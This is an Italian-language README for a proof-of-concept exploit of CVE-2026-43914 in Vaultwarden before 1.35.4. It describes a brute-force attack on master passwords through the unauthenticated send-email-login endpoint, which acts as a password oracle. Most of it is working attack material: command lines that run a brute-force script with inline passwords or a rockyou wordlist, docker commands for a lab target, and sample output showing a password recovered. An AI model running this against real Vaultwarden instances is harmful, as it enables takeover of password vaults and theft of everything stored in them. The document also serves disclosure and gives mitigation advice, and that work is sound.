
PoC per CVE-2026-43914: Vaultwarden <1.35.4 - oracolo della password per bypass brute-force dell'email-2FA. Python solo stdlib.
Proof-of-concept per CVE-2026-43914: quando Email 2FA è abilitato, la protezione brute-force del login di Vaultwarden può essere completamente aggirata tramite l'endpoint non autenticato POST /api/two-factor/send-email-login, che agisce come un oracolo della password principale illimitato.
Versioni interessate: Vaultwarden < 1.35.4
Vaultwarden è il gestore di password self-hosted compatibile con Bitwarden più popolare. Gli amministratori abilitano l'Email 2FA credendo che blocchi i tentativi di indovinare la password — ma questo endpoint valida l'hash della password principale e restituisce un codice di stato HTTP distinto per tentativi corretti/errati prima che venga applicata qualsiasi limitazione della frequenza o blocco dell'account:
| Risposta | Significato |
|---|---|
200 | password corretta (email OTP inviata) |
400 "Username or password is incorrect" | password errata |
Un attaccante che conosce (o indovina) l'email della vittima può forzare la password principale a piena velocità senza alcun rallentamento. L'Email 2FA non impedisce questo.
In src/api/core/two_factor/email.rs, il gestore send_email_login controlla la password e, in caso di mancata corrispondenza, restituisce subito un errore — ma questo endpoint non è registrato con il middleware di protezione brute-force/limitazione che protegge /identity/connect/token. Ogni chiamata:
check_valid_password(master_password_hash) →
err!("Username or password is incorrect") (HTTP 400) in caso di mancata corrispondenza,python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
Solo libreria standard di Python 3.
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
Crea un utente di test (qualsiasi client Bitwarden o API), abilita Email 2FA (Impostazioni → Accesso in due passaggi → Email), quindi esegui il PoC contro di esso.
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
Aggiorna a Vaultwarden 1.35.4+. Fino ad allora: disabilita l'Email 2FA a favore di TOTP/WebAuthn e posiziona l'istanza dietro un reverse proxy con limitazione della frequenza per IP su /api/two-factor/*.
Solo per ricerca sulla sicurezza autorizzata e uso in laboratorio.